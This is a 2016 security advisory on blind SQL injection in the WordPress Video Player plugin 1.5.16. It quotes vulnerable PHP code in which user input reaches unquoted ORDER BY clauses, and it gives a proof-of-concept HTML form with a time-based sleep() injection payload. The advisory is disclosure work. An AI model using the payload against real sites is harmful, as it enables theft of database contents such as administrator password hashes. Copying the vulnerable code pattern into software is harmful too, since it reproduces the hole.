WordPress Video Player 1.5.16 SQL Injection

2016-07-19T00:00:00
ID PACKETSTORM:137969
Type packetstorm
Reporter David Vaartjes
Modified 2016-07-19T00:00:00

Description

                                        
                                            `------------------------------------------------------------------------  
Multiple SQL injection vulnerabilities in WordPress Video Player  
------------------------------------------------------------------------  
David Vaartjes & Yorick Koster, July 2016  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
It was discovered that WordPress Video Player is affected by multiple  
blind SQL injection vulnerabilities. Using these issues it is possible  
for a logged on Contributor (or higher) to extract arbitrary data (eg,  
the Administrator's password hash) from the WordPress database.  
  
------------------------------------------------------------------------  
OVE ID  
------------------------------------------------------------------------  
OVE-20160712-0004  
  
------------------------------------------------------------------------  
Tested versions  
------------------------------------------------------------------------  
This issue was successfully tested on WordPress Video Player WordPress  
plugin version 1.5.16.  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
This issue is resolved in WordPress Video Player 1.5.18.  
  
------------------------------------------------------------------------  
Details  
------------------------------------------------------------------------  
https://sumofpwn.nl/advisory/2016/multiple_sql_injection_vulnerabilities_in_wordpress_video_player.html  
  
The vulnerabilities exist in the functions show_tag(), spider_video_select_playlist(), and spider_video_select_video(). The author tried to prevent SQL injection by calling the esc_sql() WordPress function. However, the user input is used in the ORDER BY clause and is consequently not quoted. Due to this it is possible to inject arbitrary SQL statements despite the use of esc_sql()  
  
show_tag():  
  
[...]  
  
if (isset($_POST['page_number'])) {  
if ($_POST['asc_or_desc']) {  
$sort["sortid_by"] = esc_sql(esc_html(stripslashes($_POST['order_by'])));  
if ($_POST['asc_or_desc'] == 1) {  
$sort["custom_style"] = "manage-column column-title sorted asc";  
$sort["1_or_2"] = "2";  
$order = "ORDER BY " . $sort["sortid_by"] . " ASC";  
} else {  
$sort["custom_style"] = "manage-column column-title sorted desc";  
$sort["1_or_2"] = "1";  
$order = "ORDER BY " . $sort["sortid_by"] . " DESC";  
}  
}  
  
  
  
spider_video_select_playlist():  
  
[...]  
if(isset($_POST['page_number']))  
{  
if($_POST['asc_or_desc'])  
{  
$sort["sortid_by"]=esc_sql(esc_html(stripslashes($_POST['order_by'])));  
if($_POST['asc_or_desc']==1)  
{  
$sort["custom_style"]="manage-column column-title sorted asc";  
$sort["1_or_2"]="2";  
$order="ORDER BY ".$sort["sortid_by"]." ASC";  
}  
else  
{  
$sort["custom_style"]="manage-column column-title sorted desc";  
$sort["1_or_2"]="1";  
$order="ORDER BY ".$sort["sortid_by"]." DESC";  
}  
}  
  
function spider_video_select_video():  
  
[...]  
  
if(isset($_POST['page_number']))  
{  
if($_POST['asc_or_desc'])  
{  
$sort["sortid_by"]=esc_html(stripslashes($_POST['order_by']));  
if($_POST['asc_or_desc']==1)  
{  
$sort["custom_style"]="manage-column column-title sorted asc";  
$sort["1_or_2"]="2";  
$order="ORDER BY ".esc_sql($sort["sortid_by"])." ASC";  
}  
else  
{  
$sort["custom_style"]="manage-column column-title sorted desc";  
$sort["1_or_2"]="1";  
$order="ORDER BY ".esc_sql($sort["sortid_by"])." DESC";  
}  
}  
  
Proof of concept  
  
<html>  
<body>  
<form action="http://<target>/wp-admin/admin-ajax.php?action=spiderVeideoPlayerselectplaylist" method="POST">  
<input type="hidden" name="search_events_by_title" value="" />  
<input type="hidden" name="page_number" value="0" />  
<input type="hidden" name="serch_or_not" value="" />  
<input type="hidden" name="asc_or_desc" value="1" />  
<input type="hidden" name="order_by" value="(CASE WHEN (SELECT sleep(10)) = 1 THEN id ELSE title END) ASC #" />  
<input type="hidden" name="option" value="com_Spider_Video_Player" />  
<input type="hidden" name="task" value="select_playlist" />  
<input type="hidden" name="boxchecked" value="0" />  
<input type="hidden" name="filter_order_playlist" value="" />  
<input type="hidden" name="filter_order_Dir_playlist" value="" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
------------------------------------------------------------------------  
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
`